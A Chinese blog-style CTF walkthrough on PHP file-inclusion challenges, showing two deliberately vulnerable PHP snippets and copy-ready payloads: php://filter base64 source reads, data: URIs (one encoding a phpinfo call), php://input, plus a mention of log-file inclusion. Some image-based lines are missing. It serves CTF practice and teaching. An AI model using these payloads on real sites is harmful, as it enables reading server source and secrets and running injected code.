上一篇文章：一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含，那现在开始拔高提升刷题！

1.

拿到题目后啥也没有，所以也不知道要读取啥文件，那就查看源代码。

直接看if的条件就可以知道一定要设置cookie，因为这里存在着文件包含，

看来我上一篇文章的就知道，直接伪协议开始读取，

” /> highlight_file(__FILE__);
if(isset($_GET[“file1”])&&isset($_GET[“file2”]))
{
$file1=$_GET[“file1”];
$file2=$_GET[“file2”];
if(!empty($file1)&&!empty($file2))
{
if(file_get_contents($file2)===”helloctf”)
{
include($file1);
}
}
else
die(“NONONO”);
}

提示：PHP file_get_contents () 函数

  • 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持，还会使用内存映射技术来增强性能。
  • 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
  • 其实就是存在两个文件，file1直接伪协议直接读取flag.php,没啥意思，file2就是伪协议，写入 hello ctf
  • ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
  • 这个payload在上一篇文章开头就有类似的，需要可以自行复制

  • 上一篇文章：一篇文章带你入门文件包含-CSDN博客

  • 然后再来一道永恒的经典！！！

  • <?php
    show_source(__FILE__);
    echo$_GET[‘hello’];
    $page=$_GET[‘page’];
    while(strstr($page,”php://”)){
    $page=str_replace(“php://”,””,$page);
    }
    include($page);
    ?>

这道题目有多种解法：

二话不说，先给大家献上干货，以下是CTF伪协议的常见用法，遇到直接自行复制使用即可

补充一下，第一点的如果找不到flag，那也别傻站着，换个命令，或者直接

第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的，如果这个不行，也别傻站着，换个命令，你不知道对面会过滤什么，唯有多尝试。

1.?file=data:text/plain,

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

这里拿一道题目演示成果：

” />

最后直接直接拿下

以上只是基本思路，因为看题目它过滤了php：//，也就是用不了php:input协议那就换成data://text/plain协议，如果过滤的很严格，那就可以尝试下文件日志包含，以上只是提供了基本解题思路，如果你第一种方法失效了，就说明被过滤了，后面还有很多方法，别愣着，如果不知道对面过滤了什么，那就一个一个尝试。

以上只是其中微不足道的一种方法，这里通过我的见解抛砖引玉。如果各位能够想出两种甚至三种方法做出这道题，那么你就可以说自己已经离开了文件上传的新手村了

祝大家CTF玩的开心